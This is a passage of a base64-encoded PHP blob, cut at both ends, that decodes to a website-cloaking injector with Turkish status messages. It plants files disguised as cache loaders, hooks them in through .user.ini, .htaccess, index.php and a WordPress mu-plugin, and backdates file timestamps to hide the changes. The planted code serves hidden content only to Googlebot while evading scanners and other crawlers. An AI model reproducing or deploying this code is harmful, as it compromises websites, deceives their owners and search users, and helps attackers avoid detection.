lKXJldHVybiAnZnBtJzsKICBpZihzdHJwb3MoJHN3LCdsaXRlc3BlZWQnKSE9PWZhbHNlKXJldHVybiAnbGl0ZXNwZWVkJzsKICByZXR1cm4gJ3Vua25vd24nOwp9CmZ1bmN0aW9uIG5veF9jbXNfbGFiZWwoJGNtcyl7CiAgJGw9Wyd3b3JkcHJlc3MnPT4nV29yZFByZXNzJywnam9vbWxhJz0+J0pvb21sYScsJ2RydXBhbCc9PidEcnVwYWwnLAogICAgICAnbWFnZW50bzInPT4nTWFnZW50byAyJywnbWFnZW50bzEnPT4nTWFnZW50byAxJywncHJlc3Rhc2hvcCc9PidQcmVzdGFTaG9wJywKICAgICAgJ29wZW5jYXJ0Jz0+J09wZW5DYXJ0JywnbGFyYXZlbCc9PidMYXJhdmVsJywnZ2VuZXJpY19waHAnPT4nR2VuZXJpYyBQSFAnLCd1bmtub3duJz0+J0JpbGlubWl5b3InXTsKICByZXR1cm4gaXNzZXQoJGxbJGNtc10pPyRsWyRjbXNdOiRjbXM7Cn0KZnVuY3Rpb24gbm94X2ZpbGVfbmFtZXMoJGNtcyl7CiAgc3dpdGNoKCRjbXMpewogICAgY2FzZSAnd29yZHByZXNzJzogICByZXR1cm4gWydwcmVwZW5kJz0+J3dwLWNvbW1lbnRzLXBvc3QtbG9hZGVyLnBocCcsICAgJ2NvbnRlbnQnPT4nd3AtY29tbWVudHMtcG9zdC1sb2FkZXIuaHRtbCddOwogICAgY2FzZSAnam9vbWxhJzogICAgICByZXR1cm4gWydwcmVwZW5kJz0+J2ptbC1sb2FkZXIucGhwJywgICAgICAgICAgICAgICAgICdjb250ZW50Jz0+J2ptbC1sb2FkZXIuaHRtbCddOwogICAgY2FzZSAnZHJ1cGFsJzogICAgICByZXR1cm4gWydwcmVwZW5kJz0+J3ZpZXdzLWNhY2hlLWJvb3RzdHJhcC5waHAnLCAgICAgICdjb250ZW50Jz0+J3ZpZXdzLWNhY2hlLWJvb3RzdHJhcC5odG1sJ107CiAgICBjYXNlICdtYWdlbnRvMic6CiAgICBjYXNlICdtYWdlbnRvMSc6ICAgIHJldHVybiBbJ3ByZXBlbmQnPT4nbWFnZS1jYWNoZS12YWxpZGF0b3IucGhwJywgICAgICAgJ2NvbnRlbnQnPT4nbWFnZS1jYWNoZS12YWxpZGF0b3IuaHRtbCddOwogICAgY2FzZSAncHJlc3Rhc2hvcCc6ICByZXR1cm4gWydwcmVwZW5kJz0+J3BzLW1vZHVsZS1sb2FkZXIucGhwJywgICAgICAgICAgICdjb250ZW50Jz0+J3BzLW1vZHVsZS1sb2FkZXIuaHRtbCddOwogICAgY2FzZSAnb3BlbmNhcnQnOiAgICByZXR1cm4gWydwcmVwZW5kJz0+J29jLWNhY2hlLWNoZWNrLnBocCcsICAgICAgICAgICAgICdjb250ZW50Jz0+J29jLWNhY2hlLWNoZWNrLmh0bWwnXTsKICAgIGNhc2UgJ2xhcmF2ZWwnOiAgICAgcmV0dXJuIFsncHJlcGVuZCc9Pidib290c3RyYXAtY2FjaGUtbG9hZGVyLnBocCcsICAgICAnY29udGVudCc9Pidib290c3RyYXAtY2FjaGUtbG9hZGVyLmh0bWwnXTsKICAgIGRlZmF1bHQ6ICAgICAgICAgICAgcmV0dXJuIFsncHJlcGVuZCc9PidjbGFzcy1jYWNoZS1oZWxwZXIucGhwJywgICAgICAgICAnY29udGVudCc9PidjYWNoZS1jaGVjay12ZXJpZnkuaHRtbCddOwogIH0KfQpmdW5jdGlvbiBub3hfbWFrZV9wcmVwZW5kKCRhYnNvbHV0ZUNvbnRlbnRQYXRoLCRkaXIpewogICRjZj1hZGRzbGFzaGVzKCRhYnNvbHV0ZUNvbnRlbnRQYXRoKTsKICAkbG9jaz1hZGRzbGFzaGVzKHJ0cmltKCRkaXIsJy9cXCcpLkRJUkVDVE9SWV9TRVBBUkFUT1IuJy5yZW5kZXItY2FjaGUnLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3JlbmRlci5sb2NrJyk7CiAgcmV0dXJuICI8P3BocFxuIgogICAgLiJcJF9ub3hfbG9jaz0nJGxvY2snO1xuIgogICAgLiJcJF9ub3hfdWE9aXNzZXQoXCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk/XCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJztcbiIKICAgIC4iXCRfbm94X3VyaT1zdHJ0b2soaXNzZXQoXCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKT9cJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ106Jy8nLCc/Jyk7XG4iCiAgICAuIlwkX25veF9kZWNveT1hcnJheSgnY3VybCcsJ3dnZXQnLCdweXRob24nLCdnby1odHRwJywnamF2YScsJ3NjcmFweScsJ2F4aW9zJywncGhhbnRvbScsJ3NlbGVuaXVtJywncHVwcGV0ZWVyJywncGxheXdyaWdodCcsJ2hlYWRsZXNzY2hyb21lJywnY2hyb21pdW0nLCdiaW5nYm90JywneWFuZGV4JywnZHVja2R1Y2tib3QnLCdiYWlkdXNwaWRlcicsJ2FocmVmc2JvdCcsJ3NlbXJ1c2hib3QnLCdtajEyYm90JywnZG90Ym90JywnY2Nib3QnLCdyb2dlcmJvdCcsJ2V4YWJvdCcsJ3Npc3RyaXgnLCdtYWplc3RpYycsJ2ZhY2Vib29rZXh0ZXJuYWxoaXQnLCd0d2l0dGVyYm90JywnbGlua2VkaW5ib3QnLCdwaW50ZXJlc3QnLCdsaWdodGhvdXNlJywncGFnZXNwZWVkJywnZ3RtZXRyaXgnLCdwaW5nZG9tJywnc2NyZWFtaW5nIGZyb2cnLCd1cHRpbWVyb2JvdCcsJ25ld3JlbGljJywnZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uJywnY2hhdGdwdCcsJ2NsYXVkZWJvdCcsJ2FtYXpvbmJvdCcsJ2FwcGxlYm90JywnZ3B0Ym90JywnYnl0ZXNwaWRlcicsJ3BlcnBsZXhpdHlib3QnKTtcbiIKICAgIC4iXCRfbm94X2RlY295X2hpdD1mYWxzZTtcJF9ub3hfdWFfbD1zdHJ0b2xvd2VyKFwkX25veF91YSk7Zm9yZWFjaChcJF9ub3hfZGVjb3kgYXMgXCRfa3cpe2lmKHN0cnBvcyhcJF9ub3hfdWFfbCxcJF9rdykhPT1mYWxzZSl7XCRfbm94X2RlY295X2hpdD10cnVlO2JyZWFrO319XG4iCiAgICAuImlmKCFcJF9ub3hfZGVjb3lfaGl0JiZmaWxlX2V4aXN0cyhcJF9ub3hfbG9jaykmJnByZWdfbWF0Y2goJy9Hb29nbGVib3R8QWRzQm90LUdvb2dsZXxNZWRpYXBhcnRuZXJzLUdvb2dsZXxHb29nbGUtSW5zcGVjdGlvblRvb2x8QVBJcy1Hb29nbGV8R29vZ2xlT3RoZXJ8R29vZ2xlLS9pJyxcJF9ub3hfdWEpJiZcJF9ub3hfdXJpPT09Jy8nKXtcbiIKICAgIC4iICBpZihmaWxlX2V4aXN0cygnJGNmJykpe3doaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpO2hlYWRlcignVmFyeTogVXNlci1BZ2VudCcpO3JlYWRmaWxlKCckY2YnKTtleGl0O31cbiIKICAgIC4ifVxuIgogICAgLiJ1bnNldChcJF9ub3hfbG9jayxcJF9ub3hfdWEsXCRfbm94X3VhX2wsXCRfbm94X3VyaSxcJF9ub3hfZGVjb3ksXCRfbm94X2RlY295X2hpdCk7XG4iOwp9CmZ1bmN0aW9uIG5veF9jbG9ha19ibG9jaygkYWJzb2x1dGVDb250ZW50UGF0aCwkZGlyKXsKICAkY2Y9YWRkc2xhc2hlcygkYWJzb2x1dGVDb250ZW50UGF0aCk7CiAgJGxvY2s9YWRkc2xhc2hlcyhydHJpbSgkZGlyLCcvXFwnKS5ESVJFQ1RPUllfU0VQQVJBVE9SLicucmVuZGVyLWNhY2hlJy5ESVJFQ1RPUllfU0VQQVJBVE9SLidyZW5kZXIubG9jaycpOwogIHJldHVybiAiXG4vKiBOT1gtQ0xPQUstU1RBUlQgKi9cbiIKICAgIC4iXCRfbm94X2xvY2s9JyRsb2NrJztcbiIKICAgIC4iXCRfbm94X3VhPWlzc2V0KFwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pP1wkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ106Jyc7XG4iCiAgICAuIlwkX25veF91cmk9aXNzZXQoXCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKT9zdHJ0b2soXCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCc/Jyk6Jyc7XG4iCiAgICAuIlwkX25veF9kZWNveT1hcnJheSgnY3VybCcsJ3dnZXQnLCdweXRob24nLCdnby1odHRwJywnamF2YScsJ3NjcmFweScsJ2F4aW9zJywncGhhbnRvbScsJ3NlbGVuaXVtJywncHVwcGV0ZWVyJywncGxheXdyaWdodCcsJ2hlYWRsZXNzY2hyb21lJywnY2hyb21pdW0nLCdiaW5nYm90JywneWFuZGV4JywnZHVja2R1Y2tib3QnLCdiYWlkdXNwaWRlcicsJ2FocmVmc2JvdCcsJ3NlbXJ1c2hib3QnLCdtajEyYm90JywnZG90Ym90JywnY2Nib3QnLCdyb2dlcmJvdCcsJ2V4YWJvdCcsJ3Npc3RyaXgnLCdtYWplc3RpYycsJ2ZhY2Vib29rZXh0ZXJuYWxoaXQnLCd0d2l0dGVyYm90JywnbGlua2VkaW5ib3QnLCdwaW50ZXJlc3QnLCdsaWdodGhvdXNlJywncGFnZXNwZWVkJywnZ3RtZXRyaXgnLCdwaW5nZG9tJywnc2NyZWFtaW5nIGZyb2cnLCd1cHRpbWVyb2JvdCcsJ25ld3JlbGljJywnZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uJywnY2hhdGdwdCcsJ2NsYXVkZWJvdCcsJ2FtYXpvbmJvdCcsJ2FwcGxlYm90JywnZ3B0Ym90JywnYnl0ZXNwaWRlcicsJ3BlcnBsZXhpdHlib3QnKTtcbiIKICAgIC4iXCRfbm94X2RlY295X2hpdD1mYWxzZTtcJF9ub3hfdWFfbD1zdHJ0b2xvd2VyKFwkX25veF91YSk7Zm9yZWFjaChcJF9ub3hfZGVjb3kgYXMgXCRfa3cpe2lmKHN0cnBvcyhcJF9ub3hfdWFfbCxcJF9rdykhPT1mYWxzZSl7XCRfbm94X2RlY295X2hpdD10cnVlO2JyZWFrO319XG4iCiAgICAuImlmKCFcJF9ub3hfZGVjb3lfaGl0JiZmaWxlX2V4aXN0cyhcJF9ub3hfbG9jaykmJnByZWdfbWF0Y2goJy9Hb29nbGVib3R8QWRzQm90LUdvb2dsZXxNZWRpYXBhcnRuZXJzLUdvb2dsZXxHb29nbGUtSW5zcGVjdGlvblRvb2x8QVBJcy1Hb29nbGV8R29vZ2xlT3RoZXJ8R29vZ2xlLS9pJyxcJF9ub3hfdWEpJiZcJF9ub3hfdXJpPT09Jy8nKXtcbiIKICAgIC4iICBpZihmaWxlX2V4aXN0cygnJGNmJykpe3doaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7aGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpO2hlYWRlcignVmFyeTogVXNlci1BZ2VudCcpO3JlYWRmaWxlKCckY2YnKTtleGl0O31cbiIKICAgIC4ifVxuIgogICAgLiJ1bnNldChcJF9ub3hfbG9jayxcJF9ub3hfdWEsXCRfbm94X3VhX2wsXCRfbm94X3VyaSxcJF9ub3hfZGVjb3ksXCRfbm94X2RlY295X2hpdCk7XG4iCiAgICAuIi8qIE5PWC1DTE9BSy1FTkQgKi9cbiI7Cn0KCi8vIC0tLS0gQWN0aW9uOiBkZXRlY3QgLS0tLQppZigkYT09PSJkZXRlY3QiKXsKICAkY21zPW5veF9kZXRlY3RfY21zKCRESVIpOyRzYXBpPW5veF9kZXRlY3Rfc2FwaSgpOyRmaWxlcz1ub3hfZmlsZV9uYW1lcygkY21zKTsKICAkcHJlcGVuZFBhdGg9JERJUi4nLycuJGZpbGVzWydwcmVwZW5kJ107JGNvbnRlbnRQYXRoPW5veF9jb250ZW50X3BhdGgoJERJUiwkZmlsZXNbJ2NvbnRlbnQnXSk7CiAgJHVpUGF0aD0kRElSLicvLnVzZXIuaW5pJzskaWR4UGF0aD0kRElSLicvaW5kZXgucGhwJzskaHRQYXRoPSRESVIuJy8uaHRhY2Nlc3MnOwogICR1aUNvbnRlbnQ9ZmlsZV9leGlzdHMoJHVpUGF0aCk/KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJHVpUGF0aCk6Jyc7CiAgJGlkeENvbnRlbnQ9ZmlsZV9leGlzdHMoJGlkeFBhdGgpPyhzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRpZHhQYXRoKTonJzsKICAkaHRDb250ZW50PWZpbGVfZXhpc3RzKCRodFBhdGgpPyhzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRodFBhdGgpOicnOwogICRodEF2YWlsPSgkc2FwaT09PSdtb2RfcGhwJ3x8JHNhcGk9PT0nbGl0ZXNwZWVkJyk7CiAgJG91dD1qc29uX2VuY29kZShbCiAgICAnY21zJz0+JGNtcywnY21zX2xhYmVsJz0+bm94X2Ntc19sYWJlbCgkY21zKSwnc2FwaSc9PiRzYXBpLCdwaHAnPT5QSFBfVkVSU0lPTiwnZG9jX3Jvb3QnPT4kRElSLAogICAgJ2ZpbGVzJz0+JGZpbGVzLCdwcmVwZW5kX2V4aXN0cyc9PmZpbGVfZXhpc3RzKCRwcmVwZW5kUGF0aCksJ2NvbnRlbnRfZXhpc3RzJz0+ZmlsZV9leGlzdHMoJGNvbnRlbnRQYXRoKSwKICAgICd2ZWN0b3JzJz0+WwogICAgICAndXNlcl9pbmknPT5bJ3dyaXRhYmxlJz0+KGlzX3dyaXRhYmxlKCRESVIpfHwoZmlsZV9leGlzdHMoJHVpUGF0aCkmJmlzX3dyaXRhYmxlKCR1aVBhdGgpKSksJ2FjdGl2ZSc9PnN0cnBvcygkdWlDb250ZW50LCdhdXRvX3ByZXBlbmRfZmlsZScpIT09ZmFsc2UsJ25vdGUnPT4nRlBNL0NHSS9MaXRlU3BlZWQgacOnaW4gw6dhbMSxxZ/EsXIg4oCUIG1vZF9waHBcJ2RlIHNlc3NpemNlIHlvayBzYXnEsWzEsXIgKGfDvHZlbmxpKSddLAogICAgICAnaW5kZXhfcGhwJz0+Wyd3cml0YWJsZSc9PihmaWxlX2V4aXN0cygkaWR4UGF0aCkmJmlzX3dyaXRhYmxlKCRpZHhQYXRoKSksJ2V4aXN0cyc9PmZpbGVfZXhpc3RzKCRpZHhQYXRoKSwnYWN0aXZlJz0+c3RycG9zKCRpZHhDb250ZW50LCdOT1gtQ0xPQUstU1RBUlQnKSE9PWZhbHNlLCdub3RlJz0+J0hlciBQSFAgb3J0YW3EsW5kYSDDp2FsxLHFn8SxciAoZXZyZW5zZWwgZmFsbGJhY2spJ10sCiAgICAgICdodGFjY2Vzcyc9PlsnYXZhaWxhYmxlJz0+JGh0QXZhaWwsJ3dyaXRhYmxlJz0+JGh0QXZhaWwmJihpc193cml0YWJsZSgkRElSKXx8KGZpbGVfZXhpc3RzKCRodFBhdGgpJiZpc193cml0YWJsZSgkaHRQYXRoKSkpLCdhY3RpdmUnPT4oYm9vbClwcmVnX21hdGNoKCcvTk9YLUhULVNUQVJULycsJGh0Q29udGVudCksJ25vdGUnPT4kaHRBdmFpbD8nQXBhY2hlIG1vZF9waHAgdGVzcGl0IGVkaWxkaSc6J1NBUEk6ICcuJHNhcGkuJyDigJQgeWFsbsSxemNhIG1vZF9waHAgacOnaW4nXSwKICAgIF0sCiAgXSxKU09OX1VORVNDQVBFRF9VTklDT0RFKTsKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTtlY2hvICRvdXQ7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IGF1dG9jbG9hayAtLS0tCmlmKCRhPT09ImF1dG9jbG9hayIpewogIGlmKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddIT09J1BPU1QnKXt3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT5mYWxzZSwnZXJyb3InPT4nUE9TVCBnZXJla2xpJ10sSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDt9CiAgJGNtcz1ub3hfZGV0ZWN0X2NtcygkRElSKTskc2FwaT1ub3hfZGV0ZWN0X3NhcGkoKTskZmlsZXM9bm94X2ZpbGVfbmFtZXMoJGNtcyk7CiAgJHByZXBlbmRQYXRoPSRESVIuJy8nLiRmaWxlc1sncHJlcGVuZCddOwogICRjb250ZW50UGF0aD1ub3hfY29udGVudF9wYXRoKCRESVIsJGZpbGVzWydjb250ZW50J10pOwogICRyZXM9W107CgogIC8vIDEuIMSww6dlcmlrIEhUTUwgZG9zeWFzxLEg4oCUIGRvY3Jvb3QgREnFnklOREEgc2FrbGEgKHdlYiBlcmnFn2ltaSBpbWvDom5zxLF6KQogICRjb250ZW50RGlyPW5veF9jb250ZW50X2RpcigkRElSKTsKICAkcmVzWydjb250ZW50X2xvY2F0aW9uJ109WydzJz0+J29rJywnbSc9PigkY29udGVudERpcj09PSRESVIpPydkb2Nyb290IChmYWxsYmFjayknOidkb2Nyb290IGTEscWfxLE6ICcuJGNvbnRlbnREaXJdOwogIGlmKCFmaWxlX2V4aXN0cygkY29udGVudFBhdGgpKXsKICAgICRvcmlnTXQ9ZmlsZV9leGlzdHMoJERJUi4nL2luZGV4LnBocCcpP0BmaWxlbXRpbWUoJERJUi4nL2luZGV4LnBocCcpOm51bGw7CiAgICAkb2s9QGZpbGVfcHV0X2NvbnRlbnRzKCRjb250ZW50UGF0aCwkSFRNTF9ERUZBVUxUKTsKICAgIGlmKCRvayE9PWZhbHNlKXtAY2htb2QoJGNvbnRlbnRQYXRoLDA2MDApO2lmKCRvcmlnTXQpQHRvdWNoKCRjb250ZW50UGF0aCwkb3JpZ010KTt9CiAgICAkcmVzWydjb250ZW50J109JG9rIT09ZmFsc2U/WydzJz0+J29rJywnbSc9PidPbHXFn3R1cnVsZHU6ICcuJGNvbnRlbnRQYXRoXTpbJ3MnPT4nZXJyJywnbSc9PidZYXrEsWxhbWFkxLE6ICcuJGNvbnRlbnRQYXRoXTsKICB9ZWxzZXskcmVzWydjb250ZW50J109WydzJz0+J2V4aXN0cycsJ20nPT4nTWV2Y3V0OiAnLiRjb250ZW50UGF0aF07fQoKICAvLyAyLiBQcmVwZW5kIFBIUCBkb3N5YXPEsSDigJQgbXV0bGFrIGnDp2VyaWsgeW9sdW51IGfDtm1lcgogICRvcmlnTXRQcmVwPWZpbGVfZXhpc3RzKCRwcmVwZW5kUGF0aCk/QGZpbGVtdGltZSgkcHJlcGVuZFBhdGgpOm51bGw7CiAgJG9rPUBmaWxlX3B1dF9jb250ZW50cygkcHJlcGVuZFBhdGgsbm94X21ha2VfcHJlcGVuZCgkY29udGVudFBhdGgsJERJUikpOwogIGlmKCRvayE9PWZhbHNlJiYkb3JpZ010UHJlcClAdG91Y2goJHByZXBlbmRQYXRoLCRvcmlnTXRQcmVwKTsKICAkcmVzWydwcmVwZW5kJ109JG9rIT09ZmFsc2U/WydzJz0+J29rJywnbSc9PidZYXrEsWxkxLE6ICcuJGZpbGVzWydwcmVwZW5kJ11dOlsncyc9PidlcnInLCdtJz0+J1lhesSxbGFtYWTEsTogJy4kZmlsZXNbJ3ByZXBlbmQnXV07CiAgaWYoJHJlc1sncHJlcGVuZCddWydzJ10hPT0nb2snKXsKICAgIHdoaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7aGVhZGVyKCJDb250ZW50LVR5cGU6YXBwbGljYXRpb24vanNvbiIpO2VjaG8ganNvbl9lbmNvZGUoJHJlcyxKU09OX1VORVNDQVBFRF9VTklDT0RFKTtleGl0OwogIH0KCiAgLy8gMy4gdXNlci5pbmkg4oCUIGF1dG9fcHJlcGVuZF9maWxlCiAgJHVpUGF0aD0kRElSLicvLnVzZXIuaW5pJzsKICAkdWlDb250ZW50PWZpbGVfZXhpc3RzKCR1aVBhdGgpPyhzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCR1aVBhdGgpOicnOwogIGlmKHN0cnBvcygkdWlDb250ZW50LCdhdXRvX3ByZXBlbmRfZmlsZScpIT09ZmFsc2UpewogICAgJHJlc1sndXNlcl9pbmknXT1bJ3MnPT4nZXhpc3RzJywnbSc9PidhdXRvX3ByZXBlbmRfZmlsZSB6YXRlbiBtZXZjdXQnXTsKICB9ZWxzZWlmKCFpc193cml0YWJsZSgkRElSKSYmKCFmaWxlX2V4aXN0cygkdWlQYXRoKXx8IWlzX3dyaXRhYmxlKCR1aVBhdGgpKSl7CiAgICAkcmVzWyd1c2VyX2luaSddPVsncyc9Pidza2lwJywnbSc9PidEaXppbi9kb3N5YSB5YXptYSBpem5pIHlvayddOwogIH1lbHNlewogICAgJHVpTXQ9ZmlsZV9leGlzdHMoJHVpUGF0aCk/QGZpbGVtdGltZSgkdWlQYXRoKTpudWxsOwogICAgJG5ld1VpPSR1aUNvbnRlbnQ7CiAgICBpZigkbmV3VWkhPT0nJyYmc3Vic3RyKCRuZXdVaSwtMSkhPT0iXG4iKSRuZXdVaS49IlxuIjsKICAgICRuZXdVaS49J2F1dG9fcHJlcGVuZF9maWxlID0gIicuJHByZXBlbmRQYXRoLiciJy4iXG4iOwogICAgJG9rPUBmaWxlX3B1dF9jb250ZW50cygkdWlQYXRoLCRuZXdVaSk7CiAgICBpZigkb2shPT1mYWxzZSYmJHVpTXQpQHRvdWNoKCR1aVBhdGgsJHVpTXQpOwogICAgJHJlc1sndXNlcl9pbmknXT0kb2shPT1mYWxzZT9bJ3MnPT4nb2snLCdtJz0+J0VrbGVuZGkg4oCUIFBIUC1GUE0gY2FjaGUgbmVkZW5peWxlIH41IGRrIGnDp2luZGUgYWt0aWYgb2x1ciddOlsncyc9PidlcnInLCdtJz0+J1lhem1hIGJhxZ9hcsSxc8SxeiddOwogIH0KCiAgLy8gNC4gaW5kZXgucGhwIOKAlCBOT1gtQ0xPQUstU1RBUlQgYmxvxJ91CiAgJGlkeFBhdGg9JERJUi4nL2luZGV4LnBocCc7CiAgaWYoIWZpbGVfZXhpc3RzKCRpZHhQYXRoKSl7CiAgICAkcmVzWydpbmRleCddPVsncyc9PiduYScsJ20nPT4naW5kZXgucGhwIGJ1bHVuYW1hZMSxJ107CiAgfWVsc2VpZighaXNfd3JpdGFibGUoJGlkeFBhdGgpKXsKICAgICRyZXNbJ2luZGV4J109WydzJz0+J2VycicsJ20nPT4naW5kZXgucGhwIHlhesSxbGFtxLF5b3InXTsKICB9ZWxzZXsKICAgICRpZHhDb250ZW50PShzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRpZHhQYXRoKTsKICAgIGlmKHN0cnBvcygkaWR4Q29udGVudCwnTk9YLUNMT0FLLVNUQVJUJykhPT1mYWxzZSl7CiAgICAgICRyZXNbJ2luZGV4J109WydzJz0+J2V4aXN0cycsJ20nPT4nQmxvayB6YXRlbiBha3RpZiddOwogICAgfWVsc2V7CiAgICAgICRpZHhNdD1AZmlsZW10aW1lKCRpZHhQYXRoKTsKICAgICAgJGlkeEJha1BhdGg9JERJUi4nL2luZGV4LnBocC5ub3gtYmFrJzsKICAgICAgJGJha09rPUBjb3B5KCRpZHhQYXRoLCRpZHhCYWtQYXRoKTsKICAgICAgaWYoJGJha09rJiYkaWR4TXQpQHRvdWNoKCRpZHhCYWtQYXRoLCRpZHhNdCk7CiAgICAgICRyZXNbJ2luZGV4X2JhY2t1cCddPSRiYWtPaz9bJ3MnPT4nb2snLCdtJz0+J1llZGVrIGFsxLFuZMSxOiBpbmRleC5waHAubm94LWJhayddOlsncyc9Pid3YXJuJywnbSc9PidZZWRlayBhbMSxbmFtYWTEsSDigJQgZGV2YW0gZWRpbGl5b3InXTsKICAgICAgJGlkeE5ldz1wcmVnX3JlcGxhY2UoJy9eKDxcP3BocCkvJywiJDEiLm5veF9jbG9ha19ibG9jaygkY29udGVudFBhdGgsJERJUiksJGlkeENvbnRlbnQsMSk7CiAgICAgIGlmKCRpZHhOZXc9PT1udWxsfHwkaWR4TmV3PT09JGlkeENvbnRlbnQpewogICAgICAgICRyZXNbJ2luZGV4J109WydzJz0+J3dhcm4nLCdtJz0+Jzw/cGhwIGJ1bHVuYW1hZMSxIOKAlCBpbmRleC5waHAgUEhQIGRvc3lhc8SxIGRlxJ9pbCBtaT8nXTsKICAgICAgfWVsc2V7CiAgICAgICAgJG9rPUBmaWxlX3B1dF9jb250ZW50cygkaWR4UGF0aCwkaWR4TmV3KTsKICAgICAgICBpZigkb2shPT1mYWxzZSYmJGlkeE10KUB0b3VjaCgkaWR4UGF0aCwkaWR4TXQpOwogICAgICAgICRyZXNbJ2luZGV4J109JG9rIT09ZmFsc2U/WydzJz0+J29rJywnbSc9PidCbG/En3UgZW5qZWt0ZSBlZGlsZGknXTpbJ3MnPT4nZXJyJywnbSc9PidZYXptYSBiYcWfYXLEsXPEsXonXTsKICAgICAgfQogICAgfQogIH0KCiAgLy8gNS4gLmh0YWNjZXNzIOKAlCBtb2RfcGhwIFZFIExpdGVTcGVlZCAocGhwX3ZhbHVlIGRpcmVrdGlmaW5pIGRlc3Rla2xlcik7IEZQTS9uZ2lueCd0ZSDDp2FsxLHFn21hegogICRodEFsbG93ZWQ9KCRzYXBpPT09J21vZF9waHAnfHwkc2FwaT09PSdsaXRlc3BlZWQnKTsKICBpZighJGh0QWxsb3dlZCl7CiAgICAkcmVzWydodGFjY2VzcyddPVsncyc9Pidza2lwJywnbSc9PidTQVBJOiAnLiRzYXBpLicg4oCUIHBocF92YWx1ZSB5YWxuxLF6Y2EgbW9kX3BocC9MaXRlU3BlZWQgacOnaW4gZ2XDp2VybGksIGF0bGFuZMSxJ107CiAgfWVsc2V7CiAgICAkaHRQYXRoPSRESVIuJy8uaHRhY2Nlc3MnOwogICAgJGh0Q29udGVudD1maWxlX2V4aXN0cygkaHRQYXRoKT8oc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkaHRQYXRoKTonJzsKICAgIGlmKHN0cnBvcygkaHRDb250ZW50LCdOT1gtSFQtU1RBUlQnKSE9PWZhbHNlKXsKICAgICAgJHJlc1snaHRhY2Nlc3MnXT1bJ3MnPT4nZXhpc3RzJywnbSc9PidaYXRlbiBha3RpZiddOwogICAgfWVsc2VpZighaXNfd3JpdGFibGUoJERJUikmJighZmlsZV9leGlzdHMoJGh0UGF0aCl8fCFpc193cml0YWJsZSgkaHRQYXRoKSkpewogICAgICAkcmVzWydodGFjY2VzcyddPVsncyc9PidlcnInLCdtJz0+J1lhem1hIGl6bmkgeW9rJ107CiAgICB9ZWxzZXsKICAgICAgJGh0TXQ9ZmlsZV9leGlzdHMoJGh0UGF0aCk/QGZpbGVtdGltZSgkaHRQYXRoKTpudWxsOwogICAgICAkbmV3SHQ9JGh0Q29udGVudDsKICAgICAgaWYoJG5ld0h0IT09JycmJnN1YnN0cigkbmV3SHQsLTEpIT09IlxuIikkbmV3SHQuPSJcbiI7CiAgICAgICRuZXdIdC49JyMgTk9YLUhULVNUQVJUJy4iXG4iLidwaHBfdmFsdWUgYXV0b19wcmVwZW5kX2ZpbGUgIicuJHByZXBlbmRQYXRoLiciJy4iXG4iLicjIE5PWC1IVC1FTkQnLiJcbiI7CiAgICAgICRvaz1AZmlsZV9wdXRfY29udGVudHMoJGh0UGF0aCwkbmV3SHQpOwogICAgICBpZigkb2shPT1mYWxzZSYmJGh0TXQpQHRvdWNoKCRodFBhdGgsJGh0TXQpOwogICAgICAkcmVzWydodGFjY2VzcyddPSRvayE9PWZhbHNlP1sncyc9PidvaycsJ20nPT4ncGhwX3ZhbHVlIGVrbGVuZGkgKCcuJHNhcGkuJyknXTpbJ3MnPT4nZXJyJywnbSc9PidZYXptYSBiYcWfYXLEsXPEsXonXTsKICAgIH0KICB9CgogIC8vIDYuIFdQIG11LXBsdWdpbiDigJQgV29yZFByZXNzIGZhbGxiYWNrICh0w7xtIFNBUEknbGVyZGUgw6dhbMSxxZ/EsXIpCiAgaWYoJGNtcz09PSd3b3JkcHJlc3MnKXsKICAgICRfd3BEaXI9bm94X2ZpbmRfd3BfcGF0aCgkRElSKTsKICAgICRfbXVEaXI9KCRfd3BEaXI/OiRESVIpLicvd3AtY29udGVudC9tdS1wbHVnaW5zJzsKICAgICRfbXVGaWxlPSRfbXVEaXIuJy9ub3gtZ29vZ2xlLWJvdC1ieXBhc3MucGhwJzsKICAgIGlmKGZpbGVfZXhpc3RzKCRfbXVGaWxlKSYmc3RycG9zKChzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbXVGaWxlKSwnTk9YLUNMT0FLLVNUQVJUJykhPT1mYWxzZSl7CiAgICAgICRyZXNbJ211X3BsdWdpbiddPVsncyc9PidleGlzdHMnLCdtJz0+J211LXBsdWdpbiB6YXRlbiBha3RpZiddOwogICAgfWVsc2VpZighQGlzX2RpcigkX211RGlyKSYmIUBta2RpcigkX211RGlyLDA3NTUsdHJ1ZSkpewogICAgICAkcmVzWydtdV9